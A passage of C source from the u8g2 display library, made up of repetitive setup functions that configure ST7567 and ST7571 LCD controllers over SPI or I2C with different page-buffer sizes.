tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_enh_dg128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_enh_dg128064i_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_os12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_i2c_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_enh_dg128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_enh_dg128064i_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_os12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_i2c_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_enh_dg128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_enh_dg128064i_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_os12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_i2c_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_enh_dg128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_enh_dg128064i_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_os12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_erc13232_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_erc13232_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_erc13232_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_i2c_erc13232_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_i2c_erc13232_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_i2c_erc13232_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_17_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_i2c_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_i2c_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_i2c_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_hem6432_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_hem6432_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_hem6432_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 */\n/* st7567 1 */\nvoid u8g2_Setup_st7567_i2c_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_hem6432_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 2 */\nvoid u8g2_Setup_st7567_i2c_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_hem6432_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7567 f */\nvoid u8g2_Setup_st7567_i2c_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7567_i2c_hem6432_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 */\n/* st7571 1 */\nvoid u8g2_Setup_st7571_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 2 */\nvoid u8g2_Setup_st7571_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 f */\nvoid u8g2_Setup_st7571_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 */\n/* st7571 1 */\nvoid u8g2_Setup_st7571_i2c_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 2 */\nvoid u8g2_Setup_st7571_i2c_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 f */\nvoid u8g2_Setup_st7571_i2c_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 */\n/* st7571 1 */\nvoid u8g2_Setup_st7571_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 2 */\nvoid u8g2_Setup_st7571_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 f */\nvoid u8g2_Setup_st7571_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 */\n/* st7571 1 */\nvoid u8g2_Setup_st7571_i2c_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 2 */\nvoid u8g2_Setup_st7571_i2c_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7571 f */\nvoid 